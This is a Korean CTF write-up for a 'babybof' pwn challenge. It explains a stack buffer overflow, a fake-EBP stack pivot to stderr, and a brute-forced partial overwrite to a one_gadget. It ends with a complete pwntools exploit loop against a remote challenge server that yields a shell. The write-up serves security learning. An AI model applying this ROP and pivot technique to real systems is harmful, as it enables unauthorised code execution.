chall, libc-2.23.so 파일이 주어진다.

babybof.zip
768.7 kB

정말 간단한 바이너리로, 0x20 buf에 0x200만큼 입력을 받을 수 있어서 bof가 일어난다. FULL RELRO라서 got overwrite가 불가능하다.

ROPgadget은 다음과 같다.

image

writable 한 곳에 libc 주소가 적혀있는 곳을 보니 stack에도 적혀있고 stdin, out, error에 적혀있었다. 처음에는 stack에 있는 주소를 이용하였고, 뒤에 3자리만 바꾸어 onegadget으로 이동시켰다. 1/4096의 확률이였고 실제로 따였는데, 서버에서는 스택 구조가 약간 달랐는지 따지지 않았다.

그래서 주소값이 일정한 stderr로 보냈고, 이때는 fake ebp기법을 이용하여 stderr로 rsp를 옮겨서 진행하였고, 1780번만에 서버에서 따였다.

Exploit Code

from pwn import *

pop_rdi = 0x40049c
pop_rsi = 0x40049e
pop_rbp = 0x40047c
leave_ret = 0x400499
read_plt = 0x400410
stderr = 0x601040

i=0
while True:
    print i
    i+=1
    #p=process('./chall')
    p=remote('18.179.35.86', 9002)

    payload = 'A'*0x28

    payload += p64(pop_rdi)+p64(0)
    payload += p64(pop_rsi)+p64(stderr)
    payload += p64(read_plt)
    payload += p64(pop_rbp)+p64(stderr-0x8)
    payload += p64(leave_ret)
    payload = payload.ljust(0x200, '\x00')

    p.send(payload)
    sleep(0.1)

    p.send('\x47\x71\x77')
    sleep(0.1)

    try:
        p.sendline('id')
        data = p.recv(100)
        print data
        if 'uid' in data:
            p.interactive()
        else:
            p.close()
    except:
        p.close()


Capture the Flag

image

'Writeup [pwn] > CTF 대회 기출' 카테고리의 다른 글

[VolgaCTF 2020 Quals] Notepad--  (0) 2020.04.01
[zer0pts CTF 2020] grimoire  (0) 2020.03.24
[zer0pts CTF 2020] protrude  (0) 2020.03.15
[zer0pts CTF 2020] diylist  (0) 2020.03.12
[zer0pts CTF 2020] hipwn  (0) 2020.03.11

+ Recent posts